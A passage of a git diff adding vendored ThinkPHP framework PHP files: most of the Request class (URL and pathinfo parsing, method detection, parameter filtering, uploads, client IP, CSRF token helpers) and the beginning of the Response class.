* 获取当前URL 不含QUERY_STRING + * @access public + * @param bool $complete 是否包含完整域名 + * @return string + */ + public function baseUrl(bool $complete = false): string + { + if (!$this->baseUrl) { + $str = $this->url(); + $this->baseUrl = strpos($str, '?') ? strstr($str, '?', true) : $str; + } + + return $complete ? $this->domain() . $this->baseUrl : $this->baseUrl; + } + + /** + * 获取当前执行的文件 SCRIPT_NAME + * @access public + * @param bool $complete 是否包含完整域名 + * @return string + */ + public function baseFile(bool $complete = false): string + { + if (!$this->baseFile) { + $url = ''; + if (!$this->isCli()) { + $script_name = basename($this->server('SCRIPT_FILENAME')); + if (basename($this->server('SCRIPT_NAME')) === $script_name) { + $url = $this->server('SCRIPT_NAME'); + } elseif (basename($this->server('PHP_SELF')) === $script_name) { + $url = $this->server('PHP_SELF'); + } elseif (basename($this->server('ORIG_SCRIPT_NAME')) === $script_name) { + $url = $this->server('ORIG_SCRIPT_NAME'); + } elseif (($pos = strpos($this->server('PHP_SELF'), '/' . $script_name)) !== false) { + $url = substr($this->server('SCRIPT_NAME'), 0, $pos) . '/' . $script_name; + } elseif ($this->server('DOCUMENT_ROOT') && strpos($this->server('SCRIPT_FILENAME'), $this->server('DOCUMENT_ROOT')) === 0) { + $url = str_replace('\\', '/', str_replace($this->server('DOCUMENT_ROOT'), '', $this->server('SCRIPT_FILENAME'))); + } + } + $this->baseFile = $url; + } + + return $complete ? $this->domain() . $this->baseFile : $this->baseFile; + } + + /** + * 设置URL访问根地址 + * @access public + * @param string $url URL地址 + * @return $this + */ + public function setRoot(string $url) + { + $this->root = $url; + return $this; + } + + /** + * 获取URL访问根地址 + * @access public + * @param bool $complete 是否包含完整域名 + * @return string + */ + public function root(bool $complete = false): string + { + if (!$this->root) { + $file = $this->baseFile(); + if ($file && 0 !== strpos($this->url(), $file)) { + $file = str_replace('\\', '/', dirname($file)); + } + $this->root = rtrim($file, '/'); + } + + return $complete ? $this->domain() . $this->root : $this->root; + } + + /** + * 获取URL访问根目录 + * @access public + * @return string + */ + public function rootUrl(): string + { + $base = $this->root(); + $root = strpos($base, '.') ? ltrim(dirname($base), DIRECTORY_SEPARATOR) : $base; + + if ('' != $root) { + $root = '/' . ltrim($root, '/'); + } + + return $root; + } + + /** + * 设置当前请求的pathinfo + * @access public + * @param string $pathinfo + * @return $this + */ + public function setPathinfo(string $pathinfo) + { + $this->pathinfo = $pathinfo; + return $this; + } + + /** + * 获取当前请求URL的pathinfo信息(含URL后缀) + * @access public + * @return string + */ + public function pathinfo(): string + { + if (is_null($this->pathinfo)) { + if (isset($_GET[$this->varPathinfo])) { + // 判断URL里面是否有兼容模式参数 + $pathinfo = $_GET[$this->varPathinfo]; + unset($_GET[$this->varPathinfo]); + unset($this->get[$this->varPathinfo]); + } elseif ($this->server('PATH_INFO')) { + $pathinfo = $this->server('PATH_INFO'); + } elseif (false !== strpos(PHP_SAPI, 'cli')) { + $pathinfo = strpos($this->server('REQUEST_URI'), '?') ? strstr($this->server('REQUEST_URI'), '?', true) : $this->server('REQUEST_URI'); + } + + // 分析PATHINFO信息 + if (!isset($pathinfo)) { + foreach ($this->pathinfoFetch as $type) { + if ($this->server($type)) { + $pathinfo = (0 === strpos($this->server($type), $this->server('SCRIPT_NAME'))) ? + substr($this->server($type), strlen($this->server('SCRIPT_NAME'))) : $this->server($type); + break; + } + } + } + + if (!empty($pathinfo)) { + unset($this->get[$pathinfo], $this->request[$pathinfo]); + } + + $this->pathinfo = empty($pathinfo) || '/' == $pathinfo ? '' : ltrim($pathinfo, '/'); + } + + return $this->pathinfo; + } + + /** + * 当前URL的访问后缀 + * @access public + * @return string + */ + public function ext(): string + { + return pathinfo($this->pathinfo(), PATHINFO_EXTENSION); + } + + /** + * 获取当前请求的时间 + * @access public + * @param bool $float 是否使用浮点类型 + * @return integer|float + */ + public function time(bool $float = false) + { + return $float ? $this->server('REQUEST_TIME_FLOAT') : $this->server('REQUEST_TIME'); + } + + /** + * 当前请求的资源类型 + * @access public + * @return string + */ + public function type(): string + { + $accept = $this->server('HTTP_ACCEPT'); + + if (empty($accept)) { + return ''; + } + + foreach ($this->mimeType as $key => $val) { + $array = explode(',', $val); + foreach ($array as $k => $v) { + if (stristr($accept, $v)) { + return $key; + } + } + } + + return ''; + } + + /** + * 设置资源类型 + * @access public + * @param string|array $type 资源类型名 + * @param string $val 资源类型 + * @return void + */ + public function mimeType($type, $val = ''): void + { + if (is_array($type)) { + $this->mimeType = array_merge($this->mimeType, $type); + } else { + $this->mimeType[$type] = $val; + } + } + + /** + * 设置请求类型 + * @access public + * @param string $method 请求类型 + * @return $this + */ + public function setMethod(string $method) + { + $this->method = strtoupper($method); + return $this; + } + + /** + * 当前的请求类型 + * @access public + * @param bool $origin 是否获取原始请求类型 + * @return string + */ + public function method(bool $origin = false): string + { + if ($origin) { + // 获取原始请求类型 + return $this->server('REQUEST_METHOD') ?: 'GET'; + } elseif (!$this->method) { + if (isset($this->post[$this->varMethod])) { + $method = strtolower($this->post[$this->varMethod]); + if (in_array($method, ['get', 'post', 'put', 'patch', 'delete'])) { + $this->method = strtoupper($method); + $this->{$method} = $this->post; + } else { + $this->method = 'POST'; + } + unset($this->post[$this->varMethod]); + } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) { + $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')); + } else { + $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; + } + } + + return $this->method; + } + + /** + * 是否为GET请求 + * @access public + * @return bool + */ + public function isGet(): bool + { + return $this->method() == 'GET'; + } + + /** + * 是否为POST请求 + * @access public + * @return bool + */ + public function isPost(): bool + { + return $this->method() == 'POST'; + } + + /** + * 是否为PUT请求 + * @access public + * @return bool + */ + public function isPut(): bool + { + return $this->method() == 'PUT'; + } + + /** + * 是否为DELTE请求 + * @access public + * @return bool + */ + public function isDelete(): bool + { + return $this->method() == 'DELETE'; + } + + /** + * 是否为HEAD请求 + * @access public + * @return bool + */ + public function isHead(): bool + { + return $this->method() == 'HEAD'; + } + + /** + * 是否为PATCH请求 + * @access public + * @return bool + */ + public function isPatch(): bool + { + return $this->method() == 'PATCH'; + } + + /** + * 是否为OPTIONS请求 + * @access public + * @return bool + */ + public function isOptions(): bool + { + return $this->method() == 'OPTIONS'; + } + + /** + * 是否为cli + * @access public + * @return bool + */ + public function isCli(): bool + { + return PHP_SAPI == 'cli'; + } + + /** + * 是否为cgi + * @access public + * @return bool + */ + public function isCgi(): bool + { + return strpos(PHP_SAPI, 'cgi') === 0; + } + + /** + * 获取当前请求的参数 + * @access public + * @param string|array $name 变量名 + * @param mixed $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function param($name = '', $default = null, $filter = '') + { + if (empty($this->mergeParam)) { + $method = $this->method(true); + + // 自动获取请求变量 + switch ($method) { + case 'POST': + $vars = $this->post(false); + break; + case 'PUT': + case 'DELETE': + case 'PATCH': + $vars = $this->put(false); + break; + default: + $vars = []; + } + + // 当前请求参数和URL地址中的参数合并 + $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); + + $this->mergeParam = true; + } + + if (is_array($name)) { + return $this->only($name, $this->param, $filter); + } + + return $this->input($this->param, $name, $default, $filter); + } + + /** + * 设置路由变量 + * @access public + * @param Rule $rule 路由对象 + * @return $this + */ + public function setRule(Rule $rule) + { + $this->rule = $rule; + return $this; + } + + /** + * 获取当前路由对象 + * @access public + * @return Rule|null + */ + public function rule() + { + return $this->rule; + } + + /** + * 设置路由变量 + * @access public + * @param array $route 路由变量 + * @return $this + */ + public function setRoute(array $route) + { + $this->route = array_merge($this->route, $route); + $this->mergeParam = false; + return $this; + } + + /** + * 获取路由参数 + * @access public + * @param string|array $name 变量名 + * @param mixed $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function route($name = '', $default = null, $filter = '') + { + if (is_array($name)) { + return $this->only($name, $this->route, $filter); + } + + return $this->input($this->route, $name, $default, $filter); + } + + /** + * 获取GET参数 + * @access public + * @param string|array $name 变量名 + * @param mixed $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function get($name = '', $default = null, $filter = '') + { + if (is_array($name)) { + return $this->only($name, $this->get, $filter); + } + + return $this->input($this->get, $name, $default, $filter); + } + + /** + * 获取中间件传递的参数 + * @access public + * @param mixed $name 变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function middleware($name, $default = null) + { + return $this->middleware[$name] ?? $default; + } + + /** + * 获取POST参数 + * @access public + * @param string|array $name 变量名 + * @param mixed $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function post($name = '', $default = null, $filter = '') + { + if (is_array($name)) { + return $this->only($name, $this->post, $filter); + } + + return $this->input($this->post, $name, $default, $filter); + } + + /** + * 获取PUT参数 + * @access public + * @param string|array $name 变量名 + * @param mixed $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function put($name = '', $default = null, $filter = '') + { + if (is_array($name)) { + return $this->only($name, $this->put, $filter); + } + + return $this->input($this->put, $name, $default, $filter); + } + + protected function getInputData($content): array + { + $contentType = $this->contentType(); + if ('application/x-www-form-urlencoded' == $contentType) { + parse_str($content, $data); + return $data; + } elseif (false !== strpos($contentType, 'json')) { + return (array) json_decode($content, true); + } + + return []; + } + + /** + * 设置获取DELETE参数 + * @access public + * @param mixed $name 变量名 + * @param mixed $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function delete($name = '', $default = null, $filter = '') + { + return $this->put($name, $default, $filter); + } + + /** + * 设置获取PATCH参数 + * @access public + * @param mixed $name 变量名 + * @param mixed $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function patch($name = '', $default = null, $filter = '') + { + return $this->put($name, $default, $filter); + } + + /** + * 获取request变量 + * @access public + * @param string|array $name 数据名称 + * @param mixed $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function request($name = '', $default = null, $filter = '') + { + if (is_array($name)) { + return $this->only($name, $this->request, $filter); + } + + return $this->input($this->request, $name, $default, $filter); + } + + /** + * 获取环境变量 + * @access public + * @param string $name 数据名称 + * @param string $default 默认值 + * @return mixed + */ + public function env(string $name = '', string $default = null) + { + if (empty($name)) { + return $this->env->get(); + } else { + $name = strtoupper($name); + } + + return $this->env->get($name, $default); + } + + /** + * 获取session数据 + * @access public + * @param string $name 数据名称 + * @param string $default 默认值 + * @return mixed + */ + public function session(string $name = '', $default = null) + { + if ('' === $name) { + return $this->session->all(); + } + return $this->session->get($name, $default); + } + + /** + * 获取cookie参数 + * @access public + * @param mixed $name 数据名称 + * @param string $default 默认值 + * @param string|array $filter 过滤方法 + * @return mixed + */ + public function cookie(string $name = '', $default = null, $filter = '') + { + if (!empty($name)) { + $data = $this->getData($this->cookie, $name, $default); + } else { + $data = $this->cookie; + } + + // 解析过滤器 + $filter = $this->getFilter($filter, $default); + + if (is_array($data)) { + array_walk_recursive($data, [$this, 'filterValue'], $filter); + } else { + $this->filterValue($data, $name, $filter); + } + + return $data; + } + + /** + * 获取server参数 + * @access public + * @param string $name 数据名称 + * @param string $default 默认值 + * @return mixed + */ + public function server(string $name = '', string $default = '') + { + if (empty($name)) { + return $this->server; + } else { + $name = strtoupper($name); + } + + return $this->server[$name] ?? $default; + } + + /** + * 获取上传的文件信息 + * @access public + * @param string $name 名称 + * @return null|array|UploadedFile + */ + public function file(string $name = '') + { + $files = $this->file; + if (!empty($files)) { + + if (strpos($name, '.')) { + [$name, $sub] = explode('.', $name); + } + + // 处理上传文件 + $array = $this->dealUploadFile($files, $name); + + if ('' === $name) { + // 获取全部文件 + return $array; + } elseif (isset($sub) && isset($array[$name][$sub])) { + return $array[$name][$sub]; + } elseif (isset($array[$name])) { + return $array[$name]; + } + } + } + + protected function dealUploadFile(array $files, string $name): array + { + $array = []; + foreach ($files as $key => $file) { + if (is_array($file['name'])) { + $item = []; + $keys = array_keys($file); + $count = count($file['name']); + + for ($i = 0; $i < $count; $i++) { + if ($file['error'][$i] > 0) { + if ($name == $key) { + $this->throwUploadFileError($file['error'][$i]); + } else { + continue; + } + } + + $temp['key'] = $key; + + foreach ($keys as $_key) { + $temp[$_key] = $file[$_key][$i]; + } + + $item[] = new UploadedFile($temp['tmp_name'], $temp['name'], $temp['type'], $temp['error']); + } + + $array[$key] = $item; + } else { + if ($file instanceof File) { + $array[$key] = $file; + } else { + if ($file['error'] > 0) { + if ($key == $name) { + $this->throwUploadFileError($file['error']); + } else { + continue; + } + } + + $array[$key] = new UploadedFile($file['tmp_name'], $file['name'], $file['type'], $file['error']); + } + } + } + + return $array; + } + + protected function throwUploadFileError($error) + { + static $fileUploadErrors = [ + 1 => 'upload File size exceeds the maximum value', + 2 => 'upload File size exceeds the maximum value', + 3 => 'only the portion of file is uploaded', + 4 => 'no file to uploaded', + 6 => 'upload temp dir not found', + 7 => 'file write error', + ]; + + $msg = $fileUploadErrors[$error]; + throw new Exception($msg, $error); + } + + /** + * 设置或者获取当前的Header + * @access public + * @param string $name header名称 + * @param string $default 默认值 + * @return string|array + */ + public function header(string $name = '', string $default = null) + { + if ('' === $name) { + return $this->header; + } + + $name = str_replace('_', '-', strtolower($name)); + + return $this->header[$name] ?? $default; + } + + /** + * 获取变量 支持过滤和默认值 + * @access public + * @param array $data 数据源 + * @param string|false $name 字段名 + * @param mixed $default 默认值 + * @param string|array $filter 过滤函数 + * @return mixed + */ + public function input(array $data = [], $name = '', $default = null, $filter = '') + { + if (false === $name) { + // 获取原始数据 + return $data; + } + + $name = (string) $name; + if ('' != $name) { + // 解析name + if (strpos($name, '/')) { + [$name, $type] = explode('/', $name); + } + + $data = $this->getData($data, $name); + + if (is_null($data)) { + return $default; + } + + if (is_object($data)) { + return $data; + } + } + + $data = $this->filterData($data, $filter, $name, $default); + + if (isset($type) && $data !== $default) { + // 强制类型转换 + $this->typeCast($data, $type); + } + + return $data; + } + + protected function filterData($data, $filter, $name, $default) + { + // 解析过滤器 + $filter = $this->getFilter($filter, $default); + + if (is_array($data)) { + array_walk_recursive($data, [$this, 'filterValue'], $filter); + } else { + $this->filterValue($data, $name, $filter); + } + + return $data; + } + + /** + * 强制类型转换 + * @access public + * @param mixed $data + * @param string $type + * @return mixed + */ + private function typeCast(&$data, string $type) + { + switch (strtolower($type)) { + // 数组 + case 'a': + $data = (array) $data; + break; + // 数字 + case 'd': + $data = (int) $data; + break; + // 浮点 + case 'f': + $data = (float) $data; + break; + // 布尔 + case 'b': + $data = (boolean) $data; + break; + // 字符串 + case 's': + if (is_scalar($data)) { + $data = (string) $data; + } else { + throw new \InvalidArgumentException('variable type error:' . gettype($data)); + } + break; + } + } + + /** + * 获取数据 + * @access public + * @param array $data 数据源 + * @param string $name 字段名 + * @param mixed $default 默认值 + * @return mixed + */ + protected function getData(array $data, string $name, $default = null) + { + foreach (explode('.', $name) as $val) { + if (isset($data[$val])) { + $data = $data[$val]; + } else { + return $default; + } + } + + return $data; + } + + /** + * 设置或获取当前的过滤规则 + * @access public + * @param mixed $filter 过滤规则 + * @return mixed + */ + public function filter($filter = null) + { + if (is_null($filter)) { + return $this->filter; + } + + $this->filter = $filter; + + return $this; + } + + protected function getFilter($filter, $default): array + { + if (is_null($filter)) { + $filter = []; + } else { + $filter = $filter ?: $this->filter; + if (is_string($filter) && false === strpos($filter, '/')) { + $filter = explode(',', $filter); + } else { + $filter = (array) $filter; + } + } + + $filter[] = $default; + + return $filter; + } + + /** + * 递归过滤给定的值 + * @access public + * @param mixed $value 键值 + * @param mixed $key 键名 + * @param array $filters 过滤方法+默认值 + * @return mixed + */ + public function filterValue(&$value, $key, $filters) + { + $default = array_pop($filters); + + foreach ($filters as $filter) { + if (is_callable($filter)) { + // 调用函数或者方法过滤 + $value = call_user_func($filter, $value); + } elseif (is_scalar($value)) { + if (is_string($filter) && false !== strpos($filter, '/')) { + // 正则过滤 + if (!preg_match($filter, $value)) { + // 匹配不成功返回默认值 + $value = $default; + break; + } + } elseif (!empty($filter)) { + // filter函数不存在时, 则使用filter_var进行过滤 + // filter为非整形值时, 调用filter_id取得过滤id + $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); + if (false === $value) { + $value = $default; + break; + } + } + } + } + + return $value; + } + + /** + * 是否存在某个请求参数 + * @access public + * @param string $name 变量名 + * @param string $type 变量类型 + * @param bool $checkEmpty 是否检测空值 + * @return bool + */ + public function has(string $name, string $type = 'param', bool $checkEmpty = false): bool + { + if (!in_array($type, ['param', 'get', 'post', 'put', 'patch', 'route', 'delete', 'cookie', 'session', 'env', 'request', 'server', 'header', 'file'])) { + return false; + } + + $param = empty($this->$type) ? $this->$type() : $this->$type; + + if (is_object($param)) { + return $param->has($name); + } + + // 按.拆分成多维数组进行判断 + foreach (explode('.', $name) as $val) { + if (isset($param[$val])) { + $param = $param[$val]; + } else { + return false; + } + } + + return ($checkEmpty && '' === $param) ? false : true; + } + + /** + * 获取指定的参数 + * @access public + * @param array $name 变量名 + * @param mixed $data 数据或者变量类型 + * @param string|array $filter 过滤方法 + * @return array + */ + public function only(array $name, $data = 'param', $filter = ''): array + { + $data = is_array($data) ? $data : $this->$data(); + + $item = []; + foreach ($name as $key => $val) { + + if (is_int($key)) { + $default = null; + $key = $val; + if (!isset($data[$key])) { + continue; + } + } else { + $default = $val; + } + + $item[$key] = $this->filterData($data[$key] ?? $default, $filter, $key, $default); + } + + return $item; + } + + /** + * 排除指定参数获取 + * @access public + * @param array $name 变量名 + * @param string $type 变量类型 + * @return mixed + */ + public function except(array $name, string $type = 'param'): array + { + $param = $this->$type(); + + foreach ($name as $key) { + if (isset($param[$key])) { + unset($param[$key]); + } + } + + return $param; + } + + /** + * 当前是否ssl + * @access public + * @return bool + */ + public function isSsl(): bool + { + if ($this->server('HTTPS') && ('1' == $this->server('HTTPS') || 'on' == strtolower($this->server('HTTPS')))) { + return true; + } elseif ('https' == $this->server('REQUEST_SCHEME')) { + return true; + } elseif ('443' == $this->server('SERVER_PORT')) { + return true; + } elseif ('https' == $this->server('HTTP_X_FORWARDED_PROTO')) { + return true; + } elseif ($this->httpsAgentName && $this->server($this->httpsAgentName)) { + return true; + } + + return false; + } + + /** + * 当前是否JSON请求 + * @access public + * @return bool + */ + public function isJson(): bool + { + $acceptType = $this->type(); + + return false !== strpos($acceptType, 'json'); + } + + /** + * 当前是否Ajax请求 + * @access public + * @param bool $ajax true 获取原始ajax请求 + * @return bool + */ + public function isAjax(bool $ajax = false): bool + { + $value = $this->server('HTTP_X_REQUESTED_WITH'); + $result = $value && 'xmlhttprequest' == strtolower($value) ? true : false; + + if (true === $ajax) { + return $result; + } + + return $this->param($this->varAjax) ? true : $result; + } + + /** + * 当前是否Pjax请求 + * @access public + * @param bool $pjax true 获取原始pjax请求 + * @return bool + */ + public function isPjax(bool $pjax = false): bool + { + $result = !empty($this->server('HTTP_X_PJAX')) ? true : false; + + if (true === $pjax) { + return $result; + } + + return $this->param($this->varPjax) ? true : $result; + } + + /** + * 获取客户端IP地址 + * @access public + * @return string + */ + public function ip(): string + { + if (!empty($this->realIP)) { + return $this->realIP; + } + + $this->realIP = $this->server('REMOTE_ADDR', ''); + + // 如果指定了前端代理服务器IP以及其会发送的IP头 + // 则尝试获取前端代理服务器发送过来的真实IP + $proxyIp = $this->proxyServerIp; + $proxyIpHeader = $this->proxyServerIpHeader; + + if (count($proxyIp) > 0 && count($proxyIpHeader) > 0) { + // 从指定的HTTP头中依次尝试获取IP地址 + // 直到获取到一个合法的IP地址 + foreach ($proxyIpHeader as $header) { + $tempIP = $this->server($header); + + if (empty($tempIP)) { + continue; + } + + $tempIP = trim(explode(',', $tempIP)[0]); + + if (!$this->isValidIP($tempIP)) { + $tempIP = null; + } else { + break; + } + } + + // tempIP不为空,说明获取到了一个IP地址 + // 这时我们检查 REMOTE_ADDR 是不是指定的前端代理服务器之一 + // 如果是的话说明该 IP头 是由前端代理服务器设置的 + // 否则则是伪装的 + if (!empty($tempIP)) { + $realIPBin = $this->ip2bin($this->realIP); + + foreach ($proxyIp as $ip) { + $serverIPElements = explode('/', $ip); + $serverIP = $serverIPElements[0]; + $serverIPPrefix = $serverIPElements[1] ?? 128; + $serverIPBin = $this->ip2bin($serverIP); + + // IP类型不符 + if (strlen($realIPBin) !== strlen($serverIPBin)) { + continue; + } + + if (strncmp($realIPBin, $serverIPBin, (int) $serverIPPrefix) === 0) { + $this->realIP = $tempIP; + break; + } + } + } + } + + if (!$this->isValidIP($this->realIP)) { + $this->realIP = '0.0.0.0'; + } + + return $this->realIP; + } + + /** + * 检测是否是合法的IP地址 + * + * @param string $ip IP地址 + * @param string $type IP地址类型 (ipv4, ipv6) + * + * @return boolean + */ + public function isValidIP(string $ip, string $type = ''): bool + { + switch (strtolower($type)) { + case 'ipv4': + $flag = FILTER_FLAG_IPV4; + break; + case 'ipv6': + $flag = FILTER_FLAG_IPV6; + break; + default: + $flag = null; + break; + } + + return boolval(filter_var($ip, FILTER_VALIDATE_IP, $flag)); + } + + /** + * 将IP地址转换为二进制字符串 + * + * @param string $ip + * + * @return string + */ + public function ip2bin(string $ip): string + { + if ($this->isValidIP($ip, 'ipv6')) { + $IPHex = str_split(bin2hex(inet_pton($ip)), 4); + foreach ($IPHex as $key => $value) { + $IPHex[$key] = intval($value, 16); + } + $IPBin = vsprintf('%016b%016b%016b%016b%016b%016b%016b%016b', $IPHex); + } else { + $IPHex = str_split(bin2hex(inet_pton($ip)), 2); + foreach ($IPHex as $key => $value) { + $IPHex[$key] = intval($value, 16); + } + $IPBin = vsprintf('%08b%08b%08b%08b', $IPHex); + } + + return $IPBin; + } + + /** + * 检测是否使用手机访问 + * @access public + * @return bool + */ + public function isMobile(): bool + { + if ($this->server('HTTP_VIA') && stristr($this->server('HTTP_VIA'), "wap")) { + return true; + } elseif ($this->server('HTTP_ACCEPT') && strpos(strtoupper($this->server('HTTP_ACCEPT')), "VND.WAP.WML")) { + return true; + } elseif ($this->server('HTTP_X_WAP_PROFILE') || $this->server('HTTP_PROFILE')) { + return true; + } elseif ($this->server('HTTP_USER_AGENT') && preg_match('/(blackberry|configuration\/cldc|hp |hp-|htc |htc_|htc-|iemobile|kindle|midp|mmp|motorola|mobile|nokia|opera mini|opera |Googlebot-Mobile|YahooSeeker\/M1A1-R2D2|android|iphone|ipod|mobi|palm|palmos|pocket|portalmmm|ppc;|smartphone|sonyericsson|sqh|spv|symbian|treo|up.browser|up.link|vodafone|windows ce|xda |xda_)/i', $this->server('HTTP_USER_AGENT'))) { + return true; + } + + return false; + } + + /** + * 当前URL地址中的scheme参数 + * @access public + * @return string + */ + public function scheme(): string + { + return $this->isSsl() ? 'https' : 'http'; + } + + /** + * 当前请求URL地址中的query参数 + * @access public + * @return string + */ + public function query(): string + { + return $this->server('QUERY_STRING', ''); + } + + /** + * 设置当前请求的host(包含端口) + * @access public + * @param string $host 主机名(含端口) + * @return $this + */ + public function setHost(string $host) + { + $this->host = $host; + + return $this; + } + + /** + * 当前请求的host + * @access public + * @param bool $strict true 仅仅获取HOST + * @return string + */ + public function host(bool $strict = false): string + { + if ($this->host) { + $host = $this->host; + } else { + $host = strval($this->server('HTTP_X_FORWARDED_HOST') ?: $this->server('HTTP_HOST')); + } + + return true === $strict && strpos($host, ':') ? strstr($host, ':', true) : $host; + } + + /** + * 当前请求URL地址中的port参数 + * @access public + * @return int + */ + public function port(): int + { + return (int) ($this->server('HTTP_X_FORWARDED_PORT') ?: $this->server('SERVER_PORT', '')); + } + + /** + * 当前请求 SERVER_PROTOCOL + * @access public + * @return string + */ + public function protocol(): string + { + return $this->server('SERVER_PROTOCOL', ''); + } + + /** + * 当前请求 REMOTE_PORT + * @access public + * @return int + */ + public function remotePort(): int + { + return (int) $this->server('REMOTE_PORT', ''); + } + + /** + * 当前请求 HTTP_CONTENT_TYPE + * @access public + * @return string + */ + public function contentType(): string + { + $contentType = $this->header('Content-Type'); + + if ($contentType) { + if (strpos($contentType, ';')) { + [$type] = explode(';', $contentType); + } else { + $type = $contentType; + } + return trim($type); + } + + return ''; + } + + /** + * 获取当前请求的安全Key + * @access public + * @return string + */ + public function secureKey(): string + { + if (is_null($this->secureKey)) { + $this->secureKey = uniqid('', true); + } + + return $this->secureKey; + } + + /** + * 设置当前的控制器名 + * @access public + * @param string $controller 控制器名 + * @return $this + */ + public function setController(string $controller) + { + $this->controller = $controller; + return $this; + } + + /** + * 设置当前的操作名 + * @access public + * @param string $action 操作名 + * @return $this + */ + public function setAction(string $action) + { + $this->action = $action; + return $this; + } + + /** + * 获取当前的控制器名 + * @access public + * @param bool $convert 转换为小写 + * @return string + */ + public function controller(bool $convert = false): string + { + $name = $this->controller ?: ''; + return $convert ? strtolower($name) : $name; + } + + /** + * 获取当前的操作名 + * @access public + * @param bool $convert 转换为小写 + * @return string + */ + public function action(bool $convert = false): string + { + $name = $this->action ?: ''; + return $convert ? strtolower($name) : $name; + } + + /** + * 设置或者获取当前请求的content + * @access public + * @return string + */ + public function getContent(): string + { + if (is_null($this->content)) { + $this->content = $this->input; + } + + return $this->content; + } + + /** + * 获取当前请求的php://input + * @access public + * @return string + */ + public function getInput(): string + { + return $this->input; + } + + /** + * 生成请求令牌 + * @access public + * @param string $name 令牌名称 + * @param mixed $type 令牌生成方法 + * @return string + */ + public function buildToken(string $name = '__token__', $type = 'md5'): string + { + $type = is_callable($type) ? $type : 'md5'; + $token = call_user_func($type, $this->server('REQUEST_TIME_FLOAT')); + + $this->session->set($name, $token); + + return $token; + } + + /** + * 检查请求令牌 + * @access public + * @param string $token 令牌名称 + * @param array $data 表单数据 + * @return bool + */ + public function checkToken(string $token = '__token__', array $data = []): bool + { + if (in_array($this->method(), ['GET', 'HEAD', 'OPTIONS'], true)) { + return true; + } + + if (!$this->session->has($token)) { + // 令牌数据无效 + return false; + } + + // Header验证 + if ($this->header('X-CSRF-TOKEN') && $this->session->get($token) === $this->header('X-CSRF-TOKEN')) { + // 防止重复提交 + $this->session->delete($token); // 验证完成销毁session + return true; + } + + if (empty($data)) { + $data = $this->post(); + } + + // 令牌验证 + if (isset($data[$token]) && $this->session->get($token) === $data[$token]) { + // 防止重复提交 + $this->session->delete($token); // 验证完成销毁session + return true; + } + + // 开启TOKEN重置 + $this->session->delete($token); + return false; + } + + /** + * 设置在中间件传递的数据 + * @access public + * @param array $middleware 数据 + * @return $this + */ + public function withMiddleware(array $middleware) + { + $this->middleware = array_merge($this->middleware, $middleware); + return $this; + } + + /** + * 设置GET数据 + * @access public + * @param array $get 数据 + * @return $this + */ + public function withGet(array $get) + { + $this->get = $get; + return $this; + } + + /** + * 设置POST数据 + * @access public + * @param array $post 数据 + * @return $this + */ + public function withPost(array $post) + { + $this->post = $post; + return $this; + } + + /** + * 设置COOKIE数据 + * @access public + * @param array $cookie 数据 + * @return $this + */ + public function withCookie(array $cookie) + { + $this->cookie = $cookie; + return $this; + } + + /** + * 设置SESSION数据 + * @access public + * @param Session $session 数据 + * @return $this + */ + public function withSession(Session $session) + { + $this->session = $session; + return $this; + } + + /** + * 设置SERVER数据 + * @access public + * @param array $server 数据 + * @return $this + */ + public function withServer(array $server) + { + $this->server = array_change_key_case($server, CASE_UPPER); + return $this; + } + + /** + * 设置HEADER数据 + * @access public + * @param array $header 数据 + * @return $this + */ + public function withHeader(array $header) + { + $this->header = array_change_key_case($header); + return $this; + } + + /** + * 设置ENV数据 + * @access public + * @param Env $env 数据 + * @return $this + */ + public function withEnv(Env $env) + { + $this->env = $env; + return $this; + } + + /** + * 设置php://input数据 + * @access public + * @param string $input RAW数据 + * @return $this + */ + public function withInput(string $input) + { + $this->input = $input; + if (!empty($input)) { + $inputData = $this->getInputData($input); + if (!empty($inputData)) { + $this->post = $inputData; + $this->put = $inputData; + } + } + return $this; + } + + /** + * 设置文件上传数据 + * @access public + * @param array $files 上传信息 + * @return $this + */ + public function withFiles(array $files) + { + $this->file = $files; + return $this; + } + + /** + * 设置ROUTE变量 + * @access public + * @param array $route 数据 + * @return $this + */ + public function withRoute(array $route) + { + $this->route = $route; + return $this; + } + + /** + * 设置中间传递数据 + * @access public + * @param string $name 参数名 + * @param mixed $value 值 + */ + public function __set(string $name, $value) + { + $this->middleware[$name] = $value; + } + + /** + * 获取中间传递数据的值 + * @access public + * @param string $name 名称 + * @return mixed + */ + public function __get(string $name) + { + return $this->middleware($name); + } + + /** + * 检测中间传递数据的值 + * @access public + * @param string $name 名称 + * @return boolean + */ + public function __isset(string $name): bool + { + return isset($this->middleware[$name]); + } + + // ArrayAccess + public function offsetExists($name): bool + { + return $this->has($name); + } + + public function offsetGet($name) + { + return $this->param($name); + } + + public function offsetSet($name, $value) + {} + + public function offsetUnset($name) + {} + +} diff --git a/vendor/topthink/framework/src/think/Response.php b/vendor/topthink/framework/src/think/Response.php new file mode 100644 index 0000000..556696a --- /dev/null +++ b/vendor/topthink/framework/src/think/Response.php @@ -0,0 +1,410 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +/** + * 响应输出基础类 + * @package think + */ +abstract class Response +{ + /** + * 原始数据 + * @var mixed + */ + protected $data; + + /** + * 当前contentType + * @var string + */ + protected $contentType = 'text/html'; + + /** + * 字符集 + * @var string + */ + protected $charset = 'utf-8'; + + /** + * 状态码 + * @var integer + */ + protected $code = 200; + + /** + * 是否允许请求缓存 + * @var bool + */ + protected $allowCache = true; + + /** + * 输出参数 + * @var array + */ + protected $options = []; + + /** + * header参数 + * @var array + */ + protected $header = []; + + /** + * 输出内容 + * @var string + */ + protected $content = null; + + /** + * Cookie对象 + * @var Cookie + */ + protected $cookie; + + /** + * Session对象 + * @var Session + */ + protected $session; + + /** + * 初始化 + * @access protected + * @param mixed $data 输出数据 + * @param int $code 状态码 